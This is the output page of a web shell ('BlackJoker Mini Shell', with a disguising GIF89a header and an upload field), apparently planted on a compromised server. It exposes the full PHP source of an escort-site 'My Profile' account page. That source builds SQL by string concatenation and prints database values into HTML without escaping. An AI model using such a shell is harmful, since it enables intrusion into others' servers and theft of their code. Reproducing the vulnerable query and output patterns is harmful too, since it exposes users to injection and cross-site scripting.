GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/
Upload File :
Current File : /home/serb/public_html/hobbyist-account.php

<?  session_start();
 if(!($_SESSION['islogin']))
  {
	  ?>
      <script language="javascript">
	  location.href="index.php";
	  </script>
  <? }
	include("lib/globals.php");
 	include("lib/common.php");
 	include("lib/functions.php");
	$page="my_account";
?>


<? include "includes/header_top.php";?>
<script type="text/javascript">
   function showimagepreview(input) {
  if (input.files && input.files[0]) {
  var filerdr = new FileReader();
  filerdr.onload = function(e) {
  $('#imgprvw').attr('src', e.target.result);
  }
   filerdr.readAsDataURL(input.files[0]);
  }
  }
 </script>
				

<body>
 <? include "includes/header.php";?>

	<div class="main_bg">
   
 		<div style="height:32px;"></div>
        <div  style="width:1000px; margin:0 auto;">
        	
            <div class="statedetails">
                	<div class="stdtls_header">
                    	<span style="color:#000;">Home/My Account
                    </div>
                    <div class="stdtls_midder">
                    	<div style="height:10px;"></div>
                    	
                        <div class="left_containmain"> 
                        <?
						 $sql_email="SELECT * FROM user_info WHERE userid='".$_SESSION['userid']."'";
						 $res_email=execute_query($sql_email);
						 $row_email=mysql_fetch_array($res_email);
						?>
                        	<div style=" width:980px; margin:0 auto; margin:0 auto; font-family:'Open Sans',sans-serif; font-size:14px; color:#000;">
                          	<table border="0" cellpadding="0" cellspacing="0">
                            	<tr>
                                	<td class="updatehdrstyle23"><a href="hobbyist-account.php"><img src="images/edit_profile.png" style="vertical-align:middle;" /><br/>My Profile</a></td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <!--<td class="updatehdrstyle23"><a href="agency-escorts.php"><img src="images/add_escort.png" style="width:52px; height:52px; vertical-align:middle" /><br/>My Escorts</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="add-myvideos.php?pid=<?=$row_postad['id']?>"><img src="images/my_videos.png" style="width:55px; height:55px; vertical-align:middle" /><br/>My Videos</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><img src="images/verifyimage.png" style="width:55px; height:55px; vertical-align:middle" /><br/> 100% verify</td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="add-mytours.php?pid=<?=$row_postad['id']?>"><img src="images/my_tour.png" style="width:55px; height:55px; vertical-align:middle" /><br/> My Tours</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>-->
                                     <td class="updatehdrstyle23"><a href="hobbyist-nitification.php"><img src="images/notification.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Notification</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><img src="images/my_reviews.png" style="width:55px; height:55px; vertical-align:middle" /><br/> My Reviews</td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <!--<td class="updatehdrstyle23"><img src="images/blacklist.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Black List</td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><img src="images/premium.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Premium</td>-->
                                    <!--<td class="updatehdrstyle23"><a href="#"><img src="images/my_block.png" style="vertical-align:middle;" /><br/>Block</a></td>-->
                                    <td class="updatehdrstyle23"><a href="hobbyiest-followescorts.php"><img src="images/follower.png" style="width:55px; height:55px; vertical-align:middle;" /><br/>Follow Escorts</a></td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    
                                    <td class="updatehdrstyle23"><a href="contact_us.php"><img src="images/support.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Support</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="hobbyist-password.php"><img src="images/settings.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Settings</a></td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                     <td class="updatehdrstyle23"><a href="remove-hobbyistaccount.php"><img src="images/removeacc.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Remove Account</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="logout.php"><img src="images/logout.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Logout</a></td>
                                    
                                
                                </tr>
                                <tr height="8"></tr>
                               
                            	
                            </table>
            						
						
                        	</div>
                        
                        
                        
                        
                        	<!--<div style=" width:720px; float:right; border:1px solid #999; border-radius:4px; margin:0 auto; font-family:'Open Sans',sans-serif; font-size:14px; color:#000;">
                          	<table border="0" cellpadding="0" cellspacing="0">
                            	<tr>
                                	<td class="updatehdrstyle23"><a href="agency-account.php"><img src="images/profile.png" style="vertical-align:middle;" />My Profile</a></td>
                                    <td width="15"></td>
                                    <td class="updatehdrstyle23"><a href="agency-escorts.php"><img src="images/add_escort.png" style="width:42px; height:42px; vertical-align:middle" />My Escorts</a></td>
                                    <td width="15"></td>
                                    <td class="updatehdrstyle23"><a href="escortimages.php"><img src="images/my photo.png" style="width:42px; height:42px; vertical-align:middle" /> My Photo</a></td>
                                    <td width="15"></td>
                                    <td class="updatehdrstyle23"><img src="images/verified.png" style="width:42px; height:42px; vertical-align:middle" /> 100% verify</td>
                                    <td width="15"></td>
                                    <td class="updatehdrstyle23"><img src="images/travel_icon3.png" style="width:55px; height:55px; vertical-align:middle" /> My Tours</td>
                                    <td width="15"></td>
                                
                                </tr>
                            	
                            </table>
            						
						
                        	</div>-->
                           <br/>
                           <div style=" width:960px; margin:0 auto; font-family:'Open Sans',sans-serif; font-size:14px; color:#000;">
                          		<form action="hobbyistprofile-update.php" method="post" name="f1" style="margin: 0px; padding: 0px;" enctype="multipart/form-data" onSubmit="return validate();">
                                 <input name="submit_form" value="1" type="hidden">
                                <div class="postadpagebody">                                
                                	<h1>My Profile</h1>
                                    <div class="srv_infodtlssss">
                                     <table border="0" cellspacing="0" cellspacing="0" style="margin:o auto; width:100%;">
                                    	<tr height="5"></tr>
                                        <tr>
                                          	<td colspan="2">Main<br/><img src="images/post_ad_divider.png" /></td>
                                         </tr>
                                        <tr height="10"></tr>
                                         <tr>
                                          	<td class="jointext222">* Name :</td>
                                    		<td><input name="name" id="name" class="main_input3333" value="<?=$row_email['username']?>"   type="text"></td>
                                           </tr>
                                           <tr height="5"></tr>
                                           <tr>
                                            <td class="jointext222"> Picture :</td>
                                    		<td>
                                                    <? if($row_email['pic']=="")
													{?>
                                                    <img id="imgprvw" src="images/no_photo_female.gif"  style="width:120px; height:150px; vertical-align:middle; border:1px solid #D4D3D3;"/> <? } else { ?><img id="imgprvw" src="profile_pic/<?=$row_email['pic']?>"  style="width:120px; height:150px; vertical-align:middle; border:1px solid #D4D3D3;"/> <? } ?> <input type="file"  style="color:#ad7c7c; width:150px;" id="file111" class="textbox" name="avt_image" onChange="showimagepreview(this)"><input type="hidden" name="agencylogo" value="<?=$row_email['pic']?>"
                                                    
                                                    
                                             </td>
                                           </tr>
                                           <tr height="10"></tr>
                                           <tr>
                                          	<td colspan="2">Contact Info<br/><img src="images/post_ad_divider.png" /></td>
                                         </tr>
                                        <tr height="10"></tr>
                                        <tr height="5"></tr>                                              
                                                
                                                 
                                                <tr>
                                                	<td class="jointext222"> Email :</td>
                                    				<td>
                                                    	
                                                       		<input type="text" name="email" value="<?=$row_email['email']?>" class="main_input3333" />
                                                    </td>
                                                </tr>
                                                <tr height="5"></tr>
                                               
                                                <tr>
                                                	<td class="jointext222"> Skype :</td>
                                    				<td>
                                                       		<input type="text" name="skype" value="<?=$row_email['skype']?>" class="main_input3333" />
                                                    </td>
                                                </tr>
                                                <tr height="5"></tr>
                                                 <tr>
                                                	<td class="jointext222"> MSN :</td>
                                    				<td>
                                                       		<input type="text" name="msn" value="<?=$row_email['msn']?>" class="main_input3333" />
                                                    </td>
                                                </tr>
                                                <tr height="10"></tr>
                                         
                                            <tr>
                                          		<td colspan="2">About Me<br/><img src="images/post_ad_divider.png" /></td>
                                             </tr>
                                            <tr height="10"></tr>
                                            <tr height="5"></tr>
                                             <tr>
                                               <td colspan="2" class="jointext222"> Describe Something :</td>
                                                        
                                             </tr>
                                             <tr height="5"></tr>
                                             <tr>
                                               <td colspan="2" align="center"><textarea name="aboutme" class="main_input3333" style="width:300px !important; height:300px !important;"><?=stripslashes($row_email['agency_about'])?></textarea></td>
                                                        
                                              </tr>
                                                                                                  
                                              <tr height="5"></tr>
                                              <tr height="15"></tr>
                                                     <tr>
                                                     	<td colspan="2" style="text-align:center">
                                                        	
															<input type="image" src="images/update_profile.png"/>
															
															
                                                        
                                                        </td>
                                                     
                                                     </tr> 
                                                     <tr height="20"></tr>
                                        
                                        
                                     </table>
                                    </div>
                                    
                                </div>
                                <br class="spacer" />
                               </form>
            						
						
                        	</div>
                        <br class="spacer" />
                        </div>
                        
                    
                    </div>
                    <div class="stdtls_footer"></div>
                </div>
            
            <br class="spacer" />
            
        </div>
     
 </div>


<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0